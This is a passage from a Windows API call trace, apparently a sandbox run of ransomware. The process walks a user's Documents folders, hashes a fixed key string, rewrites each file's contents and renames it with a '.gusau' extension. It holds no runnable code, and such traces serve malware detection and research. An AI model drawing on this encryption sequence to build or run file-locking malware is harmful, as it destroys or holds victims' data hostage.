lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.603] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.603] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.603] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.603] CloseHandle (hObject=0x610) returned 1 [0118.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f4ef8 [0118.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0118.604] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\ALIdU0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\alidu0.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\ALIdU0.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\alidu0.docx.gusau")) returned 1 [0118.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.604] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.605] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdea5cb0, ftCreationTime.dwHighDateTime=0x1d4d2ba, ftLastAccessTime.dwLowDateTime=0xe6e3c0b0, ftLastAccessTime.dwHighDateTime=0x1d4c686, ftLastWriteTime.dwLowDateTime=0xe6e3c0b0, ftLastWriteTime.dwHighDateTime=0x1d4c686, nFileSizeHigh=0x0, nFileSizeLow=0x15b23, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C0 _B8qINeQrUbrt.csv", cAlternateFileName="C0_B8Q~1.CSV")) returned 1 [0118.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0ad0 | out: hHeap=0xd10000) returned 1 [0118.605] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\C0 _B8qINeQrUbrt.csv") returned=".csv" [0118.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\C0 _B8qINeQrUbrt.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\c0 _b8qineqrubrt.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.606] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=88867) returned 1 [0118.606] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.608] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15afd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.608] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.610] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.610] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x15b23, lpOverlapped=0x0) returned 1 [0118.611] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.611] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.611] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.611] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0ad0) returned 1 [0118.612] CryptCreateHash (in: hProv=0xdf0ad0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.612] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.612] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.612] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.612] GetLastError () returned 0x0 [0118.612] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.612] CryptReleaseContext (hProv=0xdf0ad0, dwFlags=0x0) returned 1 [0118.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x15b20) returned 0x39f9f20 [0118.612] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.612] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x15b1e, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x15b1e, lpOverlapped=0x0) returned 1 [0118.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.613] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15b23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.613] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.613] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.613] CloseHandle (hObject=0x610) returned 1 [0118.614] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\C0 _B8qINeQrUbrt.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\c0 _b8qineqrubrt.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\C0 _B8qINeQrUbrt.csv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\c0 _b8qineqrubrt.csv.gusau")) returned 1 [0118.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.615] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.616] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75482c80, ftCreationTime.dwHighDateTime=0x1d4d012, ftLastAccessTime.dwLowDateTime=0xa1cfae50, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0xa1cfae50, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x167aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="faBTC43kElpNlGMFau.pps", cAlternateFileName="FABTC4~1.PPS")) returned 1 [0118.616] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\faBTC43kElpNlGMFau.pps") returned=".pps" [0118.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\faBTC43kElpNlGMFau.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\fabtc43kelpnlgmfau.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.616] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=92074) returned 1 [0118.616] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.619] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.620] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.621] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x167aa, lpOverlapped=0x0) returned 1 [0118.622] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.622] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.622] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.622] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0ad0) returned 1 [0118.623] CryptCreateHash (in: hProv=0xdf0ad0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.623] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.623] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.623] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.623] GetLastError () returned 0x0 [0118.623] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.623] CryptReleaseContext (hProv=0xdf0ad0, dwFlags=0x0) returned 1 [0118.624] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x167aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.624] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.624] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.624] CloseHandle (hObject=0x610) returned 1 [0118.625] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\faBTC43kElpNlGMFau.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\fabtc43kelpnlgmfau.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\faBTC43kElpNlGMFau.pps.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\fabtc43kelpnlgmfau.pps.gusau")) returned 1 [0118.626] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75482c80, ftCreationTime.dwHighDateTime=0x1d4d012, ftLastAccessTime.dwLowDateTime=0xa1cfae50, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0xa1cfae50, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x167aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="faBTC43kElpNlGMFau.pps", cAlternateFileName="FABTC4~1.PPS")) returned 0 [0118.626] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.626] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.626] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.626] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0118.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b08 [0118.626] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0118.626] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.626] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0118.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.627] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.627] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.627] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.627] PathFindFileNameW (pszPath="") returned="" [0118.627] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.628] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.628] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0118.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0118.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.629] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=29926) returned 1 [0118.629] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.631] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.631] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.632] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.632] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x74e6, lpOverlapped=0x0) returned 1 [0118.633] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.633] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.633] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.633] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0ad0) returned 1 [0118.634] CryptCreateHash (in: hProv=0xdf0ad0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.634] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.634] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.634] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.634] GetLastError () returned 0x0 [0118.634] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.634] CryptReleaseContext (hProv=0xdf0ad0, dwFlags=0x0) returned 1 [0118.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x74f0) returned 0x39f9f20 [0118.634] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.634] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x74e1, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x74e1, lpOverlapped=0x0) returned 1 [0118.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.635] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.635] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.635] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.635] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.635] CloseHandle (hObject=0x610) returned 1 [0118.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f4ef8 [0118.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0118.636] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.gusau")) returned 1 [0118.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.637] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.637] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0118.638] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.638] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.638] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, 